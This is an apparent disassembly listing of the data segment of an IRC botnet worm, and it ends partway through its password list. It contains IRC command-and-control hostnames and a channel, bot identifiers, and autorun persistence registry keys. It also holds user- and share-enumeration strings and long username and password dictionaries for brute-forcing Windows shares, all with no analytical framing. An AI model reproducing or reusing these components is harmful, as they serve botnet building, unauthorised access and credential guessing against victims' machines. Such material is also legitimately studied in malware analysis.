aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; _2:0042F778o	...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: sub_40E6A9+3A3r
					; sub_40E6A9+456r
dword_42F5A4	dd 0C8Bh		; DATA XREF: sub_40E6A9+4A2r
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C08r
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E4r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Br
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C1r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: sub_40E6A9+13Dr
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; sub_40E6A9:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415994+2Br
					; sub_415994+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn445		db 'asn445',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D42r
					; sub_40EE72+4EDAo
aAsn139		db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: sub_40E6A9+5Ao
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E20o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6127o
					; sub_40EE72+61F6o
		align 4
aSaber2_ircqfor	db 'saber2.ircqforum.com',0 ; DATA XREF: sub_40E6A9+38Eo
					; sub_40E6A9+447o
		align 4
aFaak		db '#faak#',0           ; DATA XREF: sub_40E6A9+3AFo
					; sub_40E6A9+45Do
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_40E6A9+3C6o
					; sub_40E6A9+46Fo
		align 4
byte_42F654	db 73h			; DATA XREF: sub_40E6A9:loc_40EB2Er
					; sub_40E6A9+493o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#faak#',0           ; DATA XREF: sub_40E6A9+4A9o
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: sub_40E6A9+4BBo
		align 4
byte_42F678	db 61h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 78h,	6Fh, 6Eh
		dd 737A6362h, 78652E6Fh, 65h
dword_42F688	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 10h
aBot		db '[bot]-',0           ; DATA XREF: sub_415994+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6272o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A0o ...
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C8	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FECo
					; "*@admin.com"
off_42F6CC	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6196o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F86+28o
					; sub_4162AA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F86+D4o
					; sub_4162AA+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
